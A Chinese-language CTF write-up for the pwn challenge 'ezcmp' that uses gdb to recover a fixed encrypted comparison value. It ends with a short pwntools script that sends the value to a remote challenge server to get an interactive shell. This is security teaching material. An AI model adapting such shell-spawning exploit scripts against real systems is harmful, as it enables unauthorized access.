0%

Icyice的ezcmp的WP

2025-05-13 13:59By
Icyice
其他PWNgdb

Problem: [HNCTF 2022 Week1]ezcmp

思路

  • 解题大致思路
    看看程序的保护机制,别忘了给刚下载下来的附件加权,刚下来的程序不具有可执行权限
    NSSIMAGE
    看看 main函数的逻辑
    NSSIMAGE
    strcpy(A,B)函数会将 B 复制给 A
    即 将字符串"Ayaka_nbbbbbbbbbbbbbbbbb_pluss"给 buff,然后将它用 enccrypt()函数加密,并将 加密结果与我们的输入比较

strncmp 函数详解

int strncmp(const char *str1, const char *str2, size_t n);
功能:比较 str1 和 str2 的前 n 个字符。

返回值:

< 0:str1 的前 n 个字符 小于 str2(按字典序)。

= 0:str1 的前 n 个字符 等于 str2。

> 0:str1 的前 n 个字符 大于 str2。

结果相同就返回 0,就不会执行 if语句 中的exit(0)(退出程序),就可以正常执行system("/bin/sh")
由于 字符串"Ayaka_nbbbbbbbbbbbbbbbbb_pluss"在程序中为定值,加密函数也不变,加密结果也是一个定值,我们可以用 gdb动态调试,查看生成的加密结果,然后再重新运行程序,输入加密结果,通过strncmp()比较
NSSIMAGE
gdb ezcmp
b main设置断点在 main函数
r重新运行程序
n单步调试,一直到 strncmp()
中间的 read()函数随便输点什么
NSSIMAGE
可以看到 buff的地址为 0x404100
输入x/10gx 0x404100可以查看0x404100即往下数的 ,10个地址的数据
NSSIMAGE
这几个用红框框圈起来的值,就是最终的加密结果

EXP

  • 具体攻击代码
from pwn import *
context(os="linux", arch="amd64", log_level="debug")

#io = process("./ezcmp")
io = remote("node5.anna.nssctf.cn", 25095)

io.recvuntil(b"useful\n")

payload = p64(0x144678aadc0e4072) + p64(0x84b6e81a4c7eb0e2) + p64(0xf426588abcee2052) + p64(0x0000c8cb2c5e90c2)
# 注意小端序的数据输入形式
io.sendline(payload)
io.interactive()

NSSIMAGE

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论